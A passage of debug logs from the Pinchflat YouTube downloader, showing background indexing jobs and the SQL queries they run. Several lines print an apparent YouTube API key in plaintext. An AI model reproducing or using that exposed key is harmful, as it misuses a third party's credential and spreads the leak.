duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 17:27:11.961 [debug] QUERY OK source="tasks" db=0.0ms idle=107.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800212, 24, ~U[2026-02-10 23:27:11Z], ~U[2026-02-10 23:27:11Z]] 17:27:11.961 [info] {"args":{"id":24},"id":3800174,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":109251,"event":"job:stop","queue_time":450380,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:12.109 [debug] QUERY OK source="media_items" db=0.8ms idle=147.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 17:27:12.110 [debug] QUERY OK source="media_items" db=0.5ms idle=149.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 17:27:12.111 [debug] QUERY OK source="tasks" db=0.1ms idle=143.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800213, 4, ~U[2026-02-10 23:27:12Z], ~U[2026-02-10 23:27:12Z]] 17:27:12.112 [info] {"args":{"id":4},"id":3800173,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":260082,"event":"job:stop","queue_time":534871,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:12.852 [info] {"args":{"id":26},"id":3800175,"meta":{},"system_time":1770766032852710900,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:12.853 [debug] QUERY OK source="sources" db=0.1ms idle=741.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 17:27:12.853 [debug] QUERY OK source="settings" db=0.0ms idle=741.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:12.853 [debug] QUERY OK source="media_profiles" db=0.1ms idle=734.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:12.853 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:12.853 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 17:27:12.853 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:12.853 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:13.079 [debug] QUERY OK source="media_items" db=0.7ms idle=225.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 17:27:13.080 [debug] QUERY OK source="media_items" db=0.5ms idle=227.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 17:27:13.081 [debug] QUERY OK source="tasks" db=0.1ms idle=227.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800214, 26, ~U[2026-02-10 23:27:13Z], ~U[2026-02-10 23:27:13Z]] 17:27:13.081 [info] {"args":{"id":26},"id":3800175,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":228998,"event":"job:stop","queue_time":511727,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:13.854 [info] {"args":{"id":18},"id":3800176,"meta":{},"system_time":1770766033854715203,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:13.854 [info] {"args":{"id":39},"id":3800177,"meta":{},"system_time":1770766033854746761,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:13.855 [debug] QUERY OK source="sources" db=0.1ms idle=773.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 17:27:13.855 [debug] QUERY OK source="sources" db=0.1ms idle=773.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 17:27:13.855 [debug] QUERY OK source="settings" db=0.1ms idle=767.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:13.855 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:13.855 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:13.855 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:13.855 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:13.855 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 17:27:13.855 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:13.856 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:13.856 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 17:27:13.856 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:13.856 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:13.856 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:14.002 [debug] QUERY OK source="media_items" db=0.6ms idle=145.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 17:27:14.003 [debug] QUERY OK source="media_items" db=0.6ms idle=146.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 17:27:14.004 [debug] QUERY OK source="tasks" db=0.1ms idle=148.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800215, 18, ~U[2026-02-10 23:27:14Z], ~U[2026-02-10 23:27:14Z]] 17:27:14.004 [info] {"args":{"id":18},"id":3800176,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":149742,"event":"job:stop","queue_time":466593,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:14.010 [info] {"args":{"id":3},"id":3800178,"meta":{},"system_time":1770766034010766408,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:14.011 [debug] QUERY OK source="sources" db=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:14.011 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:14.011 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:14.011 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:14.011 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 17:27:14.011 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:14.011 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:14.109 [debug] QUERY OK source="media_items" db=0.6ms idle=97.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 17:27:14.110 [debug] QUERY OK source="media_items" db=0.3ms idle=98.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= 